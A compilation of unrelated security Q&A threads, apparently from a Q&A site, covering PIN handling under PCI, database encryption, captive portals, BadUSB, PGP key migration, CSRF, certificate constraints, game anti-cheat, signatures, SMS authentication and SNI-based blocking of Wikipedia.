Is it PCI compliant to use debit card pin as a mobile banking app password? Is it secure to ask a user to enter their debit card pin to perform certain actions on their mobile banking app? (payment, view card number, etc.)

The pin will be transmitted over HTTPS, which is compliant with PCI requirements for online pin processing. But HTTPs can be hacked - so sending the PIN so often doesn't seem wise (and may not be PCI compliant, or follow industry best practices )

I think PCI Pin Security (v2) Requirement 1 is the most relevant to your question:

  "All cardholder-entered PINs must be processed in equipment that
  conforms to the requirements for secure cryptographic devices (SCDs).
  PINs must never appear in the clear outside of an SCD.

  A secure cryptographic device (SCD) must meet the requirements of a
  “Physically Secure Device” as defined in ISO 9564. For POI
  PIN-acceptance devices this is evidenced by their being validated and
  PCI approved"

So, unless the device meets the requirements of an SCD (I don't know of any devices resembling home computers or consumer mobiles meeting those requirements) it can't be done.  The details of encrypting and transporting the data are secondary to this (which, IMO, cant be overcome).


How to (programmaticaly or by other means) encrypt or protect customer data I am working on a web project and I want to (as far as possible) handle user data in a way that reduces damage to the users privacy in case of someone compromising our servers/databases.

Of course we only have user data that is needed for the website to do it's job but because of the nature of the project we have quite a bit of information on our users (part of the functionality is to apply yourself to jobs and sending your cv with it)

We thought about encrypting/decrypting sensitive data with a private/public keypair of which the private key is encrypted with the users password but found some security and implementation problems with that :P

the question is how do you implement user privacy and a protection against data theft on centralised web sever with browser compatible protocols while for functionality it is required that users can exchange sensible data?

To give some additional insight: this project is not yet in production stage so there is still time to make things right.

we are already doing some basic stuff like

serving https
enforcing https for sites that may handle sensitive data
hashing salted passwords
some hardening of our server and services on it
encrypted harddrives to prevent someone from reading all client information after stealing our servers / harddrives

but that's about it, there is besides the password hashes no mechanism that would stop/at least make it harder for someone who managed to get into (part of) the server to gain all data on all our users. Nor do we see a way to encrypt user data to disable our self from reading them as we need the data (we wouldn't have collected it otherwise) for some part of the website / the functionality we want it to provide. Even if we for example managed somehow (maybe with some javascript) that all data would get to us encrypted (by the client's browser) and we serve the client his privatekey encrypted with some passphrase (like for example his login password) we could not for examle scan user uploaded files for viruses and the like. On the other hand would a client side encryption at least with the browser/webserver concept leave some issues with security at least as we imagine it (you are welcome to prove me wrong) and seems quite like reinventing the wheel, and maybe as this project is not primarily about privacy, but rather privacy is a prefarable property we might not want to reinvent the wheel for it. I strongly believe I am not the first webdeveloper thinking about this, am I? So what have other projects done? What have you done to try to protect your users data?

if relevant we are using django and postrgreSQL for most things and javascript for some UI

ps: this article
 describes some other reasons we are hesitant about client side encryption

One standard method used for something like this is application layer encryption.

Your project consists of a web tier (Django) and a database tier (PostgreSQL).  If you implement your encryption in Django, then you can write encrypted blobs to the PostgreSQL data store.  This is not, by the way, "client side encryption" as described in the article you link to.

The advantage of this method is that you separate the encrypted data from the keys.  An attacker who is able to dump tables out of your database can get at the encrypted data, but not the keys.  An attacker who is able to compromise your application and extract the key still needs to get the data to use the key on.

The disadvantage of this method is that the encrypted data can't be searched or manipulated purely at the database level.  If it's passwords, that's fine; you're not going to be SELECTing all the passwords with certain criteria, you'll usually just pull one and compare it.  But for other sorts of data that can be onerous.

Update to address comment below in proper length:

Yes, if the attacker compromises the application, it is possible for them to compromise the key, and possibly even to leverage the application's database access to take advantage of the key.  So why is this better?

First of all, it removes some common single-vector touchdown attacks.  If the web app suffers from SQL injection, for example, an attacker can usually extract full tables from the database.  But they can't extract the key from the application in the same way, and will then need another separate successful attack to achieve their goal.

The attacker can wait for something interesting - but if they compromise the app, they can probably intercept inputs and compromise info as it comes in before it's sent to the database; access to the key is irrelevant at that point.  And that requires a long-term compromise and patience, which is less of a concern unless you're a target in the APT space.

Compensating controls can be put in place to limit the impact of application layer compromise.  For example, if the application only has access to certain stored procedures, and not the ability to execute arbitrary SQL against the database, then even if the attacker compromises the application and gets the key they may not be able to leverage it to get bulk data.  Any iteration to get data piecemeal is much more likely to get caught by logging, alerting, or SQL monitoring tools.

And, while less common, the separate storage of the key prevents backup attacks which gain access to database backup files.

There is no perfect security, but defense in depth is a proven method to improve security.  Separating the encryption key from the encrypted data in a multi-tier application is an excellent contribution to defense in depth.


How are Captive Wifi Portals secured? I'm looking for a captive portal solution that prevents other users from stealing the session key from other active users.  (or prevents the cloning the authenticated user's MAC)

Is there a reliable way to prevent this kind of local service theft?  The easiest solution I could imagine is a https session that sends a heartbeat from the MAC at a regular interval.

A step up would be a Zero Knowledge Proof VPN, though I'm not sure if such a thing exists.

Relevant answer to an existing question here: Can a captive portal be secured

You can generate a session key and store it in a cookie client side which contains a session token to authenticate the client to the Proxy (yes proxy!). (do make sure it's sent over HTTPS as otherwise it's completely useless)
The proxy does bring a limitation when it comes to other types of traffic such as SSH (taking out of scope that your users know how to tunnel traffic over HTTP). To solve this problem you can step away from the whole 'captive portal' story and try another authentication method like PEAP.
Note that setting up a good way of authentication is not easy as there are many ways of bypassing captive portals, for instance: DNS Tunneling, ICMP Tunneling, HTTP Tunneling

Apparently some routers have a 'Client Isolation' or 'Wireless Isolation' setting which may prevent devices on a network communicating with each other (mitigating any ARP poisoning attack).
Source: http://www.howtogeek.com/179089/lock-down-your-wi-fi-network-with-your-routers-wireless-isolation-option/
WPA2 Enterprise could also be implemented which encrypts traffic at a user level, using each member of the networks unique credentials (username and password).


Does BadUSB infect USB Port PCB Chips? All answered questions seem to relate to peripherals only.  Can BadUSB infect the port pcb chip within a laptop or internal desktop hub (i.e. the strip of usb ports along side a laptop or atop a desktop)?  Don't some internal hubs use reprogrammable controller chips too?

Seems the answer is probably yes:
Hubs

No.

Just because a hub's IC is programmable doesn't mean it's up-gradable by the USB interface it hosts. The common interfaces (SPI, ISP) typically used to update firmware are physically distinct from the USB lines. While you can smash open a hub and parasitically rewrite its flash (a lot of manufactures leave the programming/test pads exposed), there's no built in "firmware update mode" to do so over USB, no matter what you stick in the slot.

In theory, it's perfectly feasible to include a USB host interface into the hub's logic board. The hub would insertion-ding twice in windows and show up in device manager if so... But, it would cost extra to build an adapter into the design to provide such an un-wanted and frankly dangerous capability, so a mass-market manufacture would be highly un-likely to do so.


What is the recommended procedure to migrate to a new OpenPGP master key? I am thinking about starting again with a new master key. My current master key was not compromised, but I had stored it on my private server temporarily, which is against good practices (but I am the only one who can access this server and the key is protected with a very strong passphrase).

Assuming I want to move to a new master key, is there a way I can tell the world that I want to deprecate my old key, e.g. by "promoting" a subkey, or by signing my new master key with my old one? Or should I just revoke my old key, make a new one, and start re-building my reputation from scratch?

There is no way to change your primary OpenPGP key without losing incoming certifications. When you create a new one, and you will loose your reputation in the web of trust.

What you can do to keep as much of it:

Sign your new key with the old one, so others could follow the signatures. They can still do (manually) when you revoked your old key, at least it is an indication on what was going on if somebody really cares.
Sending a key transition statement to those that signed your old key; some of them might also sign your new one.
Getting your new key signed, ie. go to key signing parties.
Do not revoke the old key immediately, but only after some time when you already received a bunch of new certifications.

Given you do not expect your key to be compromised, you could also consider just watching it (which you should be doing anyway). Especially if your primary key has only certification capability, not a lot of "invisible" damage could be done -- no messages are encrypted for this key, no signatures on documents and messages can be issued.


Preventing 3rd party DNS Servers from being used While using a wireless network recently that implemented a captive gateway, I noticed that any third party DNS servers manually set would not allow the network to connect properly.

This would seem to have the advantage of being able to block sites via DNS and not have people bypass that block by using an alternative DNS server.

How would you implement this? So that if any DNS servers other than what would be obtained by DHCP are used, a proper network connection cannot be established?

What are your goals?  I think your goal is to block sites by denying name resolution.  If that is your goal, it won't work.

Using IP addresses will still get to the sites.
Using a local hosts file (/etc/hosts) avoids the DNS protocol while providing for a limited subset of name resolution.
Running a local DNS server on the host, but tunneling DNS requests hides the requests from your network.

A much easier alternative to your scheme that still suffers the same weaknesses as above is to block port 53 from traversing your firewall, or inspecting packets and blocking any DNS traffic across the firewall that doesn't come from your DNS server.

  a proper network connection cannot be established

I'm not sure what you mean by this.  By the time you detect the host using a different DNS server, a network connection will have already been established.


Third-Party cookies and CSRF Do 3rd party cookies open up the possibility of CSRF where it may not exist? I was looking at a blog post as well as an IETF draft on same-site cookies that make it seem like 3rd party cookies could make CSRF happen.

My confusion - CSRF happens when session cookies are present during an update request to the web application. Is this because session cookies could be 3rd party cookies? For CSRF to happen, you would still need a) the correct request structure b) session cookies. How do 3rd party cookies help CSRF? The only angle I can think of is that the "third party" would have probably CORS whitelisted the "first party" as a legal requestor domain. If the third party relies solely on Same Origin Policy for CSRF mitigation, then it might be in trouble.

Any possible attack scenarios would be highly appreciated!

I interpret your question as "By setting my browser to accept third party cookies, am I making myself more vulnerable to a CSRF attack?"

The answer is no.  A CSRF attack, also known as "session riding," involves leveraging a cookie that already exists, e.g. a session cookie for a site that you are logged into.  It does not involve creating new cookies; in fact, the attacker in a CSRF scenario has no idea what the cookie value is (which is why he must ride on someone else's cookie), and therefore has no means of setting one.

The main risk with third party cookies has to do with privacy.  The ability for a site to set a third party cookie means that the first party can tell a third party where you have visited-- for example, Amazon can tell a marketing aggregator that you have browsed a specific product, and that aggregator can then cause ads for that product to appear on Facebook or other sites.  This has considerable "creepiness" factor, although there is no actual communication between Amazon and Facebook, and no actual information is being stolen by a third party that wasn't invited to do so by one of the first parties.


Can I adjust the X509v3 Name Constraints on my internal CA after I have issued certificates? We have generated an internal root Certificate Authority for our organization and added X509v3 Name Constraints for our domain (example.com)

We issued a number of certificates for servers under that domain.

Now, we have a second domain (example.net) and want to issue internal certificates for hosts under that name.

Can I adjust the X509v3 Name Constraints on a CA without invalidating all the certificates that CA has issued, or do I need to create a new CA?

A certificate can not be modified and this includes a CA certificate. But you can issue a new CA certificate with the same subject (and subject key identifier) and the same public key but with different name constraints. Since subject and public key are the same this CA can then be used in place of the previous CA to verify previously issued certificates.


How can I prevent API bot automation by a legitimate user? My web application is a long sequence of games, which submit progress results back to the server via a web API. These progress messages are how we know how many points the user has earned. The points are used to show rankings and status and that kind of thing.
By checking stats, we just discovered that a registered user had earned 90,000 points in an hour or so, becoming the global #1 player, when it should take many, many months to earn that many points through actual game play.
It appears that this user did some kind of observation of the "game complete" message between our game client and server and then wrote some kind of script to send similar messages for many games, tricking the server into awarding points for completing those games.
Each such message includes a checksum of the arguments, which is authenticated on the server, so we think this person must also have discovered the hashing function in our minified and obfuscated javascript code so that they could spoof this as well.
Measures we do or could do
The arguments checksum trick.
The app already requires a login, but this person was logged in. We cancelled the account, but they could just make another.
We could throttle the messages, but no matter what the rate limit is, they could still send messages just below that rate, and run up a huge sticker count illegitimately; it would just take longer. And if the throttle is too aggressive, it would block legitimate progress messages.
We could maybe associate a random GUID with each game, which we authenticate, so that a message that works for one game would not work for another, but we'd have to embed those GUIDs in the code somewhere so each game could legitimately send the message, and then the hack would be harder, but still possible.
Basically, the legitimate message sending code lives on the client, so anything we do could in principle be inspected and reverse-engineered.
So how can this kind of exploit be prevented?

If the security controls exist only on the client, you have no control over the security controls. That's an intractable problem that appears in all corners of security. If your security model presupposes that a device that the user owns will not be manipulated, then your security model is based upon an incorrect assumption.
You've mentioned a few approaches to making it more difficult, but none of them offer concrete protection because your game logic is completely in the control of a malicious user. This comes up in game cheating all the time, and the only concrete solution is a server authoritative model. In absolute terms, this means running the game logic on the server, not the client.
A fully server-authoritative system is not always feasible. Consider, for example, a first-person shooter game. If the server was responsible for the entire game, including rendering the images that the user sees, it would be unplayable due to latency issues. The first obvious concession is that the game must be rendered on the client-side, but this already opens up avenues for exploitation, such as wallhacking. The work involved with developing a secure game model lies primarily in coming up with a reasonable compromise between user experience, development cost, and security. What you'll likely arrive at is a combination of concrete controls, and compensating controls. The concrete controls enforce certain behaviours and capabilities absolutely, and the compensating controls make it harder to exploit the gaps in between.
You mentioned questions in one of your comments. This type of game mechanic is much more easily adaptable into a server-authoritative model. The game asks the server for a question, the player answers the question, and the answer is sent back to the server for verification. The answer never leaves the server, and the server has authority over whether or not the question was answered correctly, which makes it much harder to abuse. You can apply reasonable time limits on how long a user can take to answer the question, as well as rate limits to prevent obvious automation.
In games where the player moves about a space, e.g. a platformer or RPG, you can enforce that the game cannot progress beyond a certain stage without reaching certain milestones. The server can reject a game completion request if the client has not sent the prerequisite milestone notifications, and minimum timings can be enforced between each notification.
In more interactive game designs (e.g. MMOs or FPS) the server keeps track of player positions in realtime, and rejects actions that are not possible, such as changing position too quickly (speedhacking), interacting with an object that is too far away, or using currency or items that the player is not in possession of.
For turn-based games, such as chess or backgammon, it is possible to perform post-hoc validation of the game at its conclusion. This can be done even if the "AI" player's moves are computed on the client. The game client handles all of the game logic, but must record all of the player's moves and the ending state. If the AI's behaviour must appear to be random in some way, the server is responsible for sending a random seed to the client at the start of the game, which seeds a deterministic pseudorandom number generator. When the game is finished, the client sends the list of player moves and ending game state back to the server. The server then re-plays the entire game through and checks that each player move was valid and that the server arrives at the same ending state as the client provided. Since the same PRNG seed is used on both the client and server, the AI will make the same moves in both play-throughs. If the ending state fulfils the win condition for the game, and the moves/state were all correct, then the win is accepted.
More generic advice:

Ensure that a completion notification is tied to a new game notification, and that the time between those requests is neither too short or too long. New game notifications should contain all the relevant parameters for that game (game type, difficulty level, etc.) and server-authoritiative parameters (e.g. the AI seed) should be tracked.
Require that games with stages include stage completion notifications. Implement time restrictions on these.
Where possible, make random decisions on the server rather than on the client. For example, if a player gets a random prize, decide that prize on the server rather than the client.
Where you have deterministic games, get the client to record the sequence of moves and send them to the server. Hash the results and store this alongside the user profile. If the user then makes the exact same set of moves again over and over, the hashes will match up and you can identify that they are automating the game.
Analyse your player behaviours, based on logs, and come up with a reasonable upper bound for the rate at which games are completed and scores are increased. Set up alerts when users exceed this bound. If you ban cheaters quickly, they're less likely to come back and less likely to form communities that make your life difficult.


x32 VS x64 Reverse Engineering and Exploit Development I started to learn RE and Exploit Development and most materials almost all of them are on 32 bit architecture. what the difference in the point of view of Exploit Development. I know in Shellcoding is quite different and how hard is to pick up 64bit after 32bit.

for example I found interesting workshops on http://opensecuritytraining.info/ but I don't know how useful will be to spend time on 32bit.

what are your suggestions when I found some material on 32bit? I ignore because is old and not use in modern computers or not

There are millions of 32-bit systems still in use today, and the 64-bit systems all use "thunking" to run 32-bit programs.  Lots (most) of the apps out there are still released today only as 32-bit apps in order to remain backward compatible with as many systems as possible.  Many will remain 32-bit forever (or until 32-bit support is ended) because there is no compelling reason for the app developer to migrate their app to 64-bit.

Very few apps actually need 64-bit capabilities, or would make full use of them if they had it.  Video games, multimedia, and other extremely high RAM-intensive apps can definitely take advantage of all 64 bits, but the average one-step-at-a-time apps won't gain the users any noticeable benefit from being ported, while if they convert to 64-bit they lose any clients that are still running a 32-bit OS.  Remember, there are still systems in the world running Windows XP because people need it to keep running old 16-bit apps that came out under Windows 95 or Windows 3.1!

Consider that Microsoft's flagship development environment, Visual Studio 2017, is still a 32-bit app.  It can emit 64-bit binaries, of course, but the whole IDE itself is still 32-bit, and will remain so for quite a while.  These guys absolutely understand what it means to be 32-bit or 64-bit.  So what message does that send you?

It's not an either-or choice, as you can certainly pick up both.  But 32-bit apps aren't going away any time in the foreseeable future, so time spent learning the 32-bit environment is not time wasted.  And if they contain easy-to-exploit vulnerabilities, by ignoring them you could be missing out on more than half the bugs in the world.


How is 'Removing RAM' a security risk? Today I was watching a video on 'Ethical Hacking' where, while discussing hardware attacks, the narrator said:

  Removing RAM or components from a desktop or a laptop

Here's a screenshot:

I understand that removing stuff like storage drives is a security risk but removing RAM? The maximum it can do is slow down the system, but how else is that a security risk?

RAM is used to store sensitive non-persistent information in a lot of cases. Encryption keys would be a common example.

Sometimes it is possible to remove RAM and place it into another device to dump the contents - often with the aid of liquid nitrogen.

For more information, see the Wikipedia article for Cold Boot Attack.


Tracking a backdoor by recording packets I am by no means very bright when it comes to networking. But I know a bit.

Let's say I suspect a backdoor is on my pc.
To counter it I setup a device between the router and my pc to log everything.

Would this work in the idea that I would eventually see some odd ip address?

Would this work in the idea that I would eventually see some odd ip address?

Generally, yes. If the malware is actively communicating, you will be able to capture the traffic and eventually conclude which servers it's contacting (and read the traffic if it's not encrypted).

The problem with your approach is that you can only confirm that there is malware if you do discover something. The reverse is not true. The backdoor could just remain inactive for an arbitrary amount of time. Also, chances are that you don't recognize malicious traffic as such:

A clever backdoor could be designed to only send traffic if other processes are communicating at the same time. For example, if you are browsing the web, it is really hard to dissect all connections for all loaded resources. Your backdoor could just mimick a request to an image hosted on a seemingly unsuspicious AWS server and it would be hard for you to tell if that request originated from your web browser or the backdoor. Also, it is possible for malware to evade detection by using seemingly unrelated protocols, e.g. DNS or ICMP. Finally, malware is often communicating over TLS and you will have to be able to decrypt the traffic for definitive conclusions about what is going on.

So capturing all traffic will only lead to a conclusion under the assumption that the malware is actively communicating and that you are able to recognize  traffic by the backdoor as such.


How can user credetials be leveraged when doing a penetration test for a Windows network? Assume the following scenario:

NTLMv2 only
Only Vista machines or higher
Remote desktop disabled throughout network
No open shares

psexec needs administrative level access. Without any shares or way to remotly login, are any credentials captured useless in such a network?

If not, how could they be leveraged to gain further access?

It looks like user-level passwords in this scenario will be of limited benefit to login to AD-controlled assets. The one thing that might be beneficial is the possibility of re-used passwords for other assets.

You haven't given a lot of detail, but if you can connect to the mail system, you can set up social engineering attacks, or look through user's mail to see if there is other data that you could use.

Otherwise, you need to find admin-level creds. Use what you've got to get you to the brass ring.


Value of hash in digital signature I'm hashing using SHA 256 and signing a payload with a private key.The payload does not contain any password and would be HTTP(S) POSTed to server side. The payload contains some dynamic and constant app data such as current time stamp and a string constant. The idea is to trust this data once the signature validation is successful on the server side using the public key. What benefits or value does hashing provide in the current context?

Thanks

You cannot sign large data blocks using any of the commonly used asymmetric signature schemes.

For signing larger data, you would have to split it in blocks and sign, but if you just do that without nonces/padding/etc, it is very insecure.

If you use some high-level library for your signatures, it most likely already hashes the data you give it to sign so you don't have to do that yourself.

You can take a look at this answer which concerns the maximum size you can encrypt with RSA, but in RSA encryption and signing is practically the same operation. Here are some more details.

So if you have a 4096bit key (you should have at least that size) you can sign up to 501 byte. Since you want to sign more than that in most cases, you have to hash the data and sign the hash.

Another point is, that most asymmetric crypto operations are very slow compared to hashing or symmetric cryptography, so you don't want to sign thousands of blocks and then verify them.


Security risks of the following authentication flow Let's say Party A has many customers (one of them let's call it Customer X) with data in Party A.
Party A is allowing Customer X to get data from their API. In order to do that:

Customer X downloads a client_id and client_secret
Customer X uses
client_id and client_secret to hit the /auth endpoint
/auth endpoint returns a token
Customer X now uses the token in an authorization
header (Authorization: Bearer YOUR_TOKEN_HERE) to hit API endpoints

Until this point this makes sense to me.
Now, let's say that we include Party B, which wants to access data in Party A in behalf of Customer X. What Party A is suggesting to do is:

Customer X downloads a client_id and client_secret
Customer X goes to Party B and stores client_id and client_secret there
Party B uses client_id and client_secret from Customer X to hit the /auth endpoint
/auth endpoint returns a token.
Party B now uses the token in an authorization header (Authorization: Bearer YOUR_TOKEN_HERE) to hit API endpoints in behalf of Customer X

To me it seems a little bit not secure that Customer X will give their Party A's client_id and client_secret to Party B. Am I missing something here?

To determine if a certain design is "secure", one must refer to the threat model of the application (which should explain the risk appetite of Party A and Customer X).
But yes, depending on the relationship between Customer X & Party B, one can see at least three potential security threats:

Spoofing: with the client_id/client_secret pair, Party B can identify as Customer X. This could be totally intended/accepted by Customer X.
Repudiation: If Party B makes changes on behalf of Customer X, Customer X can't claim it wasn't them (or at least, for Party A, in theory, there isn't a way to clearly know)
Information disclosure: Party B can garner whatever sensitive information Party A keeps on Customer X

Having said that, usually, Party A has no way to restrict who Customer X shares their token with. This would usually be done through the Terms and Conditions of the service. An example that comes to mind are online budgeting apps that require access to bank accounts to track expenses, and that used to require the user's banking credentials. This is obviously against most (all?) banks' T&C, yet many users of said budgeting apps would pass on their credentials anyway.

A bit related, but a common approach that Party A could use, when trying to mitigate the risks above, is to treat Customer X as untrustworthy. This would mean, for example:

Not use the client_id/client_secret as the only auth factor, and require an additional 2FA
Clear the token as soon as the behavior of Customer X seems to have changed (either because they are connecting with a different IP/user-agent/etc.)


Kali Linux: wrong kernel. What to do? What does this mean :
Unable to boot- please use a kernel appropriate for your  CPU
what do I have to do ?!

This means that you are most likely trying to run 64-bit version of Kali on a 32-bit CPU. Try downloading and using a 32-bit version of Kali.


Would AES encryption of a small number of blocks be less secure than encrypting a large, fixed-size padded buffer? My application encrypts a file with AES, and the data is read, encrypted and written with a buffer. It's size is defined with a BUF_SIZE value, which is constant.

I will try to explain my question with an example.

E.g the file size is 1.73 GB, and the buffer is 16 KB. The application calculates (fsize % BUF_SIZE) and finds out that 14K of data will remain.

For now, It does as follows:

1) Reads this 14 KB of data to the buffer

2) Fills other 2 KB with random data

3) Encrypts and writes the whole buffer.

The problem is that after such an encryption even a 310-bytes plain text file becomes a 16 KB monster!

The idea is to change the algorithm to encrypt ONLY this 14 KB and write them to the resulting file.

When I was writing that algorithm, I somewhy considered the second way unacceptable; now I cannot remember the reason.

Is it safe to encrypt files like so?

I am mostly interested in whether doing it one way or the other as described above makes full key recovery attacks easier. I'm a student doing this in my spare time, not a professional.

EDIT 1: My application encrypts the header with AES/GCM-128, and the other data - with AES/CFB-256 mode. So, as far as I understand, there is no matter for CFB how much data left, right?

EDIT 2: Added this approach to my application. Thanks to everyone who helped! (^_^)

According to NIST, The AES algorithm is capable of using cryptographic keys of 128, 192, and 256 bits to encrypt and decrypt data in block sizes of 128 bits (16 bytes). it means each block that goes as an input to the AES algorithm will be 16 bytes, so if your BUF_SIZE is 16 KB, when it wants to go to the AES, again it will be split to a blocks with 16 bytes size, and at the end if there are a data with less than 16 bytes it will be padded.(for example you want to encrypt 35 bytes,(2*16)+3, the remain 3 bytes will be padded with 13 padded bytes).

However your AES mode is important, for example if your mode is CFB, OFB or CRT, it does not require any padding and can be parallelized. CFB, OFB and CTR modes do not require any special measures to handle messages whose lengths are not multiples of the block size, since the modes work by XORing the plaintext with the output of the block cipher. The last partial block of plaintext is XORed with the first few bytes of the last keystream block, producing a final ciphertext block that is the same size as the final partial plaintext block. This characteristic of stream ciphers makes them suitable for applications that require the encrypted ciphertext data to be the same size as the original plaintext data.

But some modes (namely ECB and CBC) require that the final block be padded before encryption.

also you need a IV (Initial Vector) to produce distinct ciphertexts even if the same plaintext is encrypted multiple times.

so according to your example:

BUF_SIZE= 16 KB ==> 16*1024= 16384 bytes ===> 16384 mod 16 = 0 , it means each BUF_SIZE does not need to padding. and a remain one (14KB) ==> 14*1024=14,336 bytes ==> 14,336 mod 16 = 0 , so also the remain slice does not need to padding and it will be splited to 896 block as input for AES algorithm, that creates same size of input as output.

Or for example for 310 bytes, you do not need to pad it to 16KB, you only need to create 19 blocks with 16 bytes, and 6 bytes remains and that one is padded with 10 bytes. with together are 20 blocks.

310 = (19*16)+6.

Therefore, you must be concerned about the key strength and the size of that and manner of protecting it and also use standard AES not yours, because if only 1 byte remains it will be padded with enough padding bytes.

So in this situation there is no difference between encrypting 1 byte or 1024000 bytes, attacks are perpetual, the size of data is not important.


Why not authenticate with the user sending an SMS? Every time I do 2-factor authentication on a mobile app, it sends me a message with a security code. I understand this is weak because the SMS system can be hacked to redirect your messages to another number.

So the question is why don't mobile apps require you to send a message to authenticate?

Why not use inbound SMSs

There are many reasons, some of which are:

Most carriers allow free text receipt, even on PAYG, but many do not allow sending unlimited texts for free
There are still ways to spoof the source of an SMS, so this would not add much more security
Most carriers support having auth texts sent with an alphanumeric name, which makes them easy differentiate, but inbound texts cannot be sent to alphanumeric destinations Source
If there were multiple numbers user's would need to know which one to send messages to, so their message goes to the right destination


Is my Google Drive still secure if Chrome was heavily compromised? I use an Apple eMac desktop computer. I formerly used Safari as my main browser.  I migrated to Chrome as it is integrated with Google products. I use Google Drive very extensively as my main repository for all my files.

A couple of days ago, I experienced the attack from two viruses posing as legitimate extensions of Chrome. They are "Daily Mail Tab" and "Smart Package Tracker."  They popped up all the time at completely irrelevant times, rendering my Chrome browsing really painful. I deleted Chrome from my eMac. And, I went back to Safari. And, for the time being everything is OK.

However, I am concerned that given that Chrome was compromised that Google Drive could be too.

Thus, I am considering moving my files from Google Drive to iCloud. Would that make my file archiving more secure?

Or, could I consider reinstalling Chrome and use it again as my main browser?

From my point of view there are two things to consider. First, how did these extensions get installed on your computer in the first place. Second, if these are malicious what information could they have accessed.

I can't speculate how the extensions were installed, but they didn't just come bundled with the official version of Chrome. They had to get onto the machine somehow, possibly from another compromised program or from something you installed not knowing these were bundled with.

As for what information they could access, there is pretty good sand boxing within Chrome. It's very unlikely the plugins were able to access the disk contents on your computers, which is a good thing. They can however see information transmitted to/from websites. I'm not sure exactly how chrome stores session data for google drive. I would guess this is locked down pretty tightly given Google has control of the code running both server side and client side. I would gets session data was safe from these extensions but I can't say for sure. Regardless I would recommend changing your password for google drive and enabling 2 factor authentication (if its not enabled). Personally I like the Authy app for 2 factor (but there are other "TOTP" apps).

Finally, the security between Google Drive and iCloud is going to be similar. I don't think changing provides is going to provide any direct benefit. The main difference is with provides is the integration offered by each service and the devices you use. iCloud implements a useful 2 factor authentication workflow that prompts you to approve new devices/logins from an existing (approved) iPhone/Mac/iPad. In practice this seems to work well for me and is easier that launching an app and typing a code in before it expires.


Share a public key from an app to verify authenticity of data submitted I'm quite new to information security topics and am looking for guidance to implement secure transmission of statistical data from an app to a server. In addition, I don't want any knowledge about the data stored on the server.

This is my approach:

A developer creates a key pair and places the public key in the app.
The app generates a public and a private key when launching for the first time. It sends the public key to the server and gets a user ID in return. Then it discards the generated public key.
Every time the app sends data, it does it by encrypting the data with the public key from the server and signing it with its own private key.
The developer can then retrieve the data for each user ID from the server and verify the authenticity with the public key stored with the user ID.

And here are my questions:

Is it enought to send the public key generated on the device once or should I use a more sophisticated scheme to verify that data is sent by this exact user? There is no login and I don't care who the user is. But I want to make sure an attacker cannot send wrong data by forging the user ID without being detected.
What should I do to detect missing data? It is okay if some data gets lost due to network issues. I am considering using ascending integers in the encrypted data. This would reveal if someone steals the private key and the current number from the app and sends wrong data.
Finally, are there some concrete implementations that an inexperienced user like me can use without messing up?

Question 1

MiTM types of attack can be easily avoid by implementing encryption and digital signature. Since you are encrypt and sign the data being send, and assuming client's device is not compromised, it is fair to say even the data was altered, you will know it if you implemented those thing right. You can harden your system by using TLS plus public key pinning, that way, even someone wants to intercept, the client will know because the certificate is different.

Question 2

You can't do much about it if you only use asymmetric cryptography and digital signature, for more details, look at https://security.stackexchange.com/a/31032/58501. However, if you willing to ask the client to type in a OTP which the master key will only know by both parties, and exchanged in a secure way. You can detect such attack even the private key is leaked since the OTP can change over time or by increasing counters, depend on which OTP you use. Take a look at RFC 4226 and RFC 6238 to get some idea from it. Note, the OTP generating machine should be differ than the communicating device, and no connection between them.

Question 3

It depends on what computer language you're using, you can try find an OpenPGP API or framework, this is the only software I know it can do what you want without much knowledge(it still require some learning, not as much as doing it from ground up). If you can't, you're out of luck since doing cryptographic stuff in a correct way requires a lot of steps and long time learning. E.g. you should encrypt the data first, then calculate the hash of it, sign it with the private key, pack all the stuff in one package, finally sent it to the server. These steps are mostly separated in a framework which you need to call each of them individually.


Password-Changing Password I want to create a public (password given out to everyone) gmail account that anyone can use (for subscriptions, using useful websites that require your real email but spam you, etc.) and that's the easy part (I think anarchy might erupt in the account at some point). The hard part is implementing a secret password only I know that is used for changing the account's password. This is to prevent people from abusing the system by changing the password so that nobody else can use it. How can I implement this in gmail? If it's not possible in gmail, how about elsewhere?

What you want to do makes no sense as far as I can see.

It's also not possible with gmail.

How about using a service designed for exactly the use cases you mention, such as https://www.mailinator.com/ ?


Can access blocked site using lynx but not cURL nor browser I am not sure if this is the right place to ask this, but here it goes.

The government of the country I live in has blocked wikipedia.org. Out of curiosity, I was messing around to maybe ascertain which methods were used etc. After changing my default DNS resolver to Cloudflare (1.1.1.1), I am now able to visit the address https://wikipedia.org using CLI browser lynx. However, I am not able to visit the site from my browser (Safari), nor cURL. The output of command curl https://wikipedia.org/ -vv gives:

*   Trying 103.102.166.224...
* TCP_NODELAY set
* Connected to wikipedia.org (103.102.166.224) port 443 (#0)
* ALPN, offering http/1.1
* Cipher selection: ALL:!EXPORT:!EXPORT40:!EXPORT56:!aNULL:!LOW:!RC4:@STRENGTH
* successfully set certificate verify locations:
*   CAfile: /anaconda3/ssl/cacert.pem
  CApath: none
* TLSv1.2 (OUT), TLS header, Certificate Status (22):
* TLSv1.2 (OUT), TLS handshake, Client hello (1):
* OpenSSL SSL_connect: SSL_ERROR_SYSCALL in connection to wikipedia.org:443
* Closing connection 0
curl: (35) OpenSSL SSL_connect: SSL_ERROR_SYSCALL in connection to wikipedia.org:443

Questions:

From a technical viewpoint, why exactly can't I access https://wikipedia.org?
What makes it so that lynx can access the site while cURL can't ? I'm thinking it has to do with CA certificates and ssl, but I can't understand how the government can modify the certificates on my device.

EDIT: Just for clarification, I am not interested in comments on how to circumvent this block or anything; obviously there are numerous ways but they are irrelevant to this question.

EDIT1: Versions

cURL:

curl 7.58.0 (x86_64-apple-darwin13.4.0) libcurl/7.58.0 OpenSSL/1.0.2o zlib/1.2.11
Release-Date: 2018-01-24
Protocols: dict file ftp ftps gopher http https imap imaps pop3 pop3s rtsp smb smbs smtp smtps telnet tftp
Features: AsynchDNS IPv6 Largefile NTLM NTLM_WB SSL libz TLS-SRP UnixSockets HTTPS-proxy

lynx:

Lynx Version 2.8.8rel.2 (09 Mar 2014)
libwww-FM 2.14, SSL-MM 1.4.1, OpenSSL 1.0.2o, ncurses 5.7.20081102
Built on darwin17.0.0 Sep 18 2017 16:36:30

Your government has probably blocked connections to wikipedia.org by looking at the Server Name Indication (SNI) on the https handshake and forcing an error if the domain is on their blacklist.

